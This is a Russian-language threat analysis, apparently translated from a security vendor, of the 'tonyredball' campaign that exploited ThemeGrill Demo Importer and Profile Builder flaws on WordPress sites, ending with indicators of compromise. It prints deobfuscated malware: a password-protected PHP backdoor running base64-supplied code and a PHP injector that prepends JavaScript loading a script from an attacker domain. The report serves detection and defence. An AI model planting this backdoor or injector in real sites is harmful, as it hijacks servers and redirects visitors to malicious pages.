Описание уязвимости и подверженные ей плагины

  • ThemeGrill Demo Importer <1.6.3 – обход аутентификации и стирание базы данных
  • Profile Builder и Profile Builder Pro <3.1.1 – Регистрация пользователя с ролью администратора

Первая кампания, о которой мы поговорим, была связана с заголовком «tonyredball». Этот субъект угроз в основном сосредоточен на использовании уязвимостей, которые позволяют установить бэкдор доступ к сайтам жертвы.

Мы идентифицировали дескриптор «tonyredball» после того, как злоумышленник попытался использовать уязвимость регистрации администратора в плагине Profile Builder. Запросы, использующие эту уязвимость, содержат имя пользователя, адрес электронной почты и другие данные профиля новой учетной записи администратора.

По сравнению с действиями этого субъекта угрозы против Profile Builder они совершили гораздо больший объем атак на уязвимость удаления базы данных в ThemeGrill Demo Importer. Эта разница в объеме может быть связана с объемом работы, необходимой для использования каждой уязвимости. Уязвимость Profile Builder требует, чтобы злоумышленники нашли уязвимую форму регистрации, но уязвимость ThemeGrill может быть использована с простым запросом к известной конечной точке.

Конечным результатом использования любой из этих уязвимостей является административный доступ к сайту жертвы. Получив такой доступ, злоумышленник загружает вредоносные скрипты через плагин и загрузчики тем в панели управления WordPress.

Варианты скрипта, загруженного в приведенном выше примере, ранее были связаны с несколькими именами файлов. Наиболее распространенными являются blockspluginn.php, wp-block-plugin.php и supersociall.php, хотя основными именами, связанными непосредственно с этим субъектом угрозы, являются wp-block-plugin.php и wp-hello-plugin.php.

if (isset($_POST['asavsdvds']) && md5($_POST["lgkfghdfh"]) == "e9787adc5271cb0f765294503da3f2dc") {
    $z2 = '<?php ' . base64_decode($_REQUEST['d1']);
    $a = '/tmp/mn';
    @file_put_contents($a, $z2);
    @include ($a);
    @unlink($a);
    die();
}

В приведенном выше примере кода мы видим часть деобфусцированного содержимого wp-block-plugin.php. Этот небольшой сценарий позволяет злоумышленнику выполнять произвольный код PHP на сайте жертвы, создавая постоянный бэкдор в случае удаления учетной записи администратора. Предполагаемый код кодируется в base64 и представляется как $ _REQUEST [‘d1’], где он декодируется и сохраняется в виде файла с именем / tmp / mn. Этот файл затем выполняется через @include, а затем сразу же удаляется с сервера. Он также защищен паролем, чтобы другие участники не могли использовать этот черный ход.

Мы перехватили несколько запросов к этим бэкдорам через нашу сеть. Отправляемые полезные данные различаются по объему, но в основном фокусируются на переборе файловой системы сайта для заражения большего количества файлов. Некоторые события показывают, что «tonyredball» ищет дополнительные инсталляции WordPress для заражения, в то время как другие пытаются внедрить вредоносный код в законные файлы JavaScript жертвы.

if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."\n";
} else {
$l2 = "var hgkgfhjereve4 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,108,111,119,46,100,101,115,116,105,110,121,102,101,114,110,97,110,100,105,46,99,111,109,47,115,97,109,101,46,106,115,63,118,61,51); s.src=pl; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}";
$g = file_get_contents($f);
$g = $l2.$g;
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."\n";

Этот фрагмент кода показывает часть полезной нагрузки бэкдора, предназначенную для внедрения вредоносного JavaScript. В контексте этот код выполняется после поиска имен файлов с помощью .js и вставляет новый код поверх существующего содержимого легитимного файла. При запуске в браузере этот код получает сторонний скрипт из https://slow.destinyfernandi.com/same.js?v=3.

Этот сторонний скрипт при загрузке перенаправляет браузер посетителя в потенциально вредоносное место. В отличие от более сложных сценариев вредоносной рекламы, здесь нет никакой условной логики, предотвращающей перенаправление для повторных посетителей или вошедших в систему пользователей, что означает, что вероятность того, что она будет обнаружена и о которой будет сообщено раньше, гораздо выше. Однако, независимо от текущего содержимого, скрипты, размещенные на сервере злоумышленника, могут быть изменены в любое время, и это представляет серьезную опасность.

В дополнение к бэкдор-скриптам, «tonyredball» также использует плагин WordPress и редактор тем для добавления стороннего JavaScript в контент сайта. Строка типа

<script type = text / javascript src = 'https: //middle.destinyfernandi.com/t.js'> </ script>

добавляется, как правило, в скрипт header.php темы, куда он загружает скрипт по адресу https://middle.destinyfernandi.com/t.js в браузеры посетителей. Мы определили дополнительные домены, используемые в этих атаках, которые перечислены в разделе IOC ниже.

В настоящее время эти сценарии перенаправления переносят жертв на целевую страницу в домене talktofranky.com. По прибытии посетителям предлагается нажать «Разрешить» во всплывающем окне, чтобы доказать, что они люди. Это хитрость, поскольку сайт фактически запрашивает разрешение на отправку уведомлений на устройство жертвы. Поиски для обсуждения этого домена показывают ряд руководств о том, как остановить спам в уведомлении, что означает, что эта кампания, вероятно, претендует на количество жертв.

Последние атаки tonyredball происходят с одного основного IP-адреса: 45.129.96.17. Этот адрес связан с хостинг-провайдером Эстонии GMHost. GMHost является известным пуленепробиваемым хостом, и на него недавно ссылались хакерские форумы как таковые. «Пуленепробиваемый» относится к хостинг-провайдерам, которые, как известно, придерживаются слабой или ненадлежащей политики злоупотреблений, обычно расположены в странах, не имеющих тесных связей с международными правоохранительными органами. Эти хозяева предоставляют хакерам место для ведения незаконной деятельности, практически не боясь, что их закроют или иным образом накажут.

Индикатор компроментации:

  • Username:
  • tonyredball
  • Email address:
  • tonyredball@mail.com
  • IP адреса:
  • 45.129.96.17
  • 188.127.251.74
  • Хэши (SHA-1):
  • 34d4b9a33f7a1ab39a264cdffde644264adcf4d1
  • 7648b981f7c8f497ab81f0323379734fd0898f84
  • Текст для поиска бэкдора в файлах:
  • jweyc
  • aeskoly
  • owhggiku
  • callbrhy
  • Скрипт помещенный в плагин или в файл темы:
  • <script type=text/javascript src='https://room.verybeatifulantony.com/t.js'></script>
  • <script type=text/javascript src='https://middle.destinyfernandi.com/t.js'></script>
  • Домены уязвимости:
  • verybeatifulantony.com
  • room.verybeatifulantony.com
  • tom.verybeatifulantony.com
  • destinyfernandi.com
  • slow.destinyfernandi.com
  • middle.destinyfernandi.com
  • fast.destinyfernandi.com
  • talktofranky.com
  • Файлы
  • wp-block-plugin.php
  • wp-hello-plugin.php